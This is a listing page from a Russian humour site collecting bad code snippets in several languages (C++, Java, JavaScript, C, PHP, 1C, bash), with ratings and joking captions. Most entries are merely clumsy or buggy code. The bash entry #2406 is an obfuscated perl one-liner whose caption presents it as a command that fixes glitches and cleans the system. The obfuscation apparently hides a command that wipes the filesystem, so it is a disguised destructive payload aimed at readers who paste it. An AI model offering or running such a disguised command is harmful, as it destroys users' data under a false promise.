1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #2763

    +62.4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #define DOIT(why, doit) !(why) || ((doit), (why))
    ...
    STDMETHODIMP CSimpleCtrl::SetObjectRects(LPCRECT prcPos,LPCRECT prcClip)
    {
        DOIT(prcPos, ATLTRACE(_T("t: %d | l: %d | b: %d | r: %d"),
            prcPos->top, prcPos->left, prcPos->bottom, prcPos->right));
    
        return IOleInPlaceObject_SetObjectRects(prcPos, prcClip);
    }

    gg_, 11 Марта 2010

    Комментарии (23)
  3. Java / Говнокод #2760

    +72.6

    1. 1
    2. 2
    3. 3
    4. 4
    Object[] o = new Object[16];
    for (int i = 0; i < 20; i++) {
        o[i] = "";
    }

    Korwin, 11 Марта 2010

    Комментарии (23)
  4. JavaScript / Говнокод #2707

    +159.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    function check_date() {
    	var	message = "Дата невалидна.";
    		days = [31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
    
    	var str = $('#registration-form [name="birthday"]').val();
    
    	var m = str.match(/(\d*)\.(\d*)\.(\d*)(.*)/);
    
    	if (!m ||
    		!m[1] ||
    		!m[2] ||
    		!m[3] ||
    		m[4] ||
    		parseInt(m[2], 10) < 1 ||
    		parseInt(m[2], 10) > 12 ||
    		parseInt(m[1], 10) < 1 ||
    		parseInt(m[1], 10) > days[parseInt(m[2], 10)-1] ||
    		parseInt(m[3], 10) < 1920 ||
    		parseInt(m[3], 10) > 2000 ) {
    		tooltip($('#registration-form [name="birthday"]').get(0), message);
    	} else {
    		removett($('#registration-form [name="birthday"]').get(0));
    	}
    }

    Не очень говно, но вполне себе код.

    ixth, 03 Марта 2010

    Комментарии (23)
  5. C# / Говнокод #2660

    +966.3

    1. 1
    2. 2
    int factor = (chbFactor.Checked) ? 1 : 0; // bool to int
    factor = (factor * 2) - 1; // -1 or +1

    Вторая строчка превращает 0 в -1 а единичку не трогает

    Vidmak, 24 Февраля 2010

    Комментарии (23)
  6. C# / Говнокод #2549

    +130.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    def TryToFix() : void 
    {
    def  RozoviySlon()  : bool
    {
       System.Diagnostics.Process.Start("http://rsdn.ru/Users/73.aspx");
       if("solution"=="Весёлый слоник не поднимает настроение ?")
              false
      else
             true
    }
    
    unless (  (if ( RozoviySlon() ) "Розовый слон"
    else "Всё хорошо :D") == "Всё хорошо :D" )
         while( RozoviySlon() )
         MessageBox.Show("ААААААААААААААААААА !!!");
    }
    
    try
    {
      Application.Run(nCdy.nForm());
    }
    catch
    {
      | e is Exception => TryToFix();
    }

    Весёлый слоник не поднимает настроение ?

    Nemerle, 05 Февраля 2010

    Комментарии (23)
  7. Си / Говнокод #2477

    +92.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    string* newstr()
    {
        string* str;
        return memset(str=malloc(sizeof(string)), 0, str?sizeof(string):0);
    }

    GovnocoderJr, 23 Января 2010

    Комментарии (23)
  8. PHP / Говнокод #2410

    +164

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    <?
    if( !defined("ADMIN") ) die("Access denied.");
    
    // Получение новых сообщений
    mysql_query('SET NAMES cp1251'); // Чертовы костыли!
    if($messages_count_new>0) {
        $sql = "SELECT * FROM " .PREFIX. "_messages WHERE to_uid = $manager_id AND is_read = 0";
        $result = mysql_query($sql);
        $messages_new = array();
        while ($row = mysql_fetch_assoc($result)) {
            $messages_new[] = $row;
        }    
    }
    // Получение прочитанных сообщений
    $sql = "SELECT * FROM " .PREFIX. "_messages WHERE to_uid = $manager_id AND is_read = 1";
    $result = mysql_query($sql);
    $messages_read = array();
    while ($row = mysql_fetch_assoc($result)) {
        $messages_read[] = $row;
    }
    
    $OUT .= '
    <table>
    <tr><td><h1>Внутренняя почта</h1></td></tr>';
    if(count($messages_new) > 0 OR count($messages_read) > 0):       
        if(count($messages_new) > 0):
            $OUT .= '<tr><td><h2>У вас '.count($messages_new).' новых сообщений</h2></td></tr>        
            <tr><tr>
            <table class="messages_list" width="100%">                  
                <tr><th>Дата</th><th>Тема</th></tr>';
                foreach($messages_new as $key=>$item):
                    $OUT .= '<tr>
                        <td class="date" width=20%">'.date('Y-m-d H:i', $item['created_date']).'</td>
                        <td class="subject"><a href="index.php?page=readmessage&id='.$item['id'].'">'.htmlspecialchars($item['subject']).'</a></td>
                    </tr>';
                endforeach;
            $OUT .= '</td></tr></table>';          
            
        endif;
        if(count($messages_read) > 0):
            $OUT .= '<tr><td><h2>У вас '.count($messages_new).' прочитанных сообщений</h2></td></tr>
            <tr><tr>
            <table class="messages_list" width="100%">                  
                <tr><th>Дата</th><th>Тема</th></tr>';
                foreach($messages_read as $key=>$item):
                $OUT .= '<tr>
                        <td class="date" width=20%">'.date('Y-m-d H:i', $item['created_date']).'</td>
                        <td class="subject"><a href="index.php?page=readmessage&id='.$item['id'].'">'.htmlspecialchars($item['subject']).'</a></td>
                    </tr>';
                endforeach;
            $OUT .= '</td></tr></table>';        
                  
        endif;
    else:
        $OUT .= '<tr><td>У вас нет сообщений</tr></td></table>';
    endif;

    :((((

    azzz, 14 Января 2010

    Комментарии (23)
  9. 1C / Говнокод #2409

    −213

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Если Пользователь.Родитель.КонтрольРазмещения = Истина Тогда
    	Возврат Истина;
    Иначе
    	Возврат Ложь;
    КонецЕсли;

    Лёгких путей не бывает :)

    KingOfShit, 14 Января 2010

    Комментарии (23)
  10. bash / Говнокод #2406

    −91.4

    1. 1
    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    Команда спасает от глюков и чистит систему.

    Говногость, 14 Января 2010

    Комментарии (23)
  11. Си / Говнокод #2403

    +134.7

    1. 1
    si_node_append(&(*config), si_node_create_ex(param_name, param_value, param_flag)); // ...to the end

    Смысл операции &(*var) непонятен.
    Отдельного внимания заслуживает коментарий... мне удалось воткнуть :) оказывается, имелось в виду не "вперед, до самого конца", а "добавляем в конец списка", ага.

    Правда, был круче комент в одном месте... "redirect of conclusion"...
    В общем, когда вкурил что имелось в виду "перенаправление вывода", чуть не сдох со смеху :)

    Pencioner, 14 Января 2010

    Комментарии (23)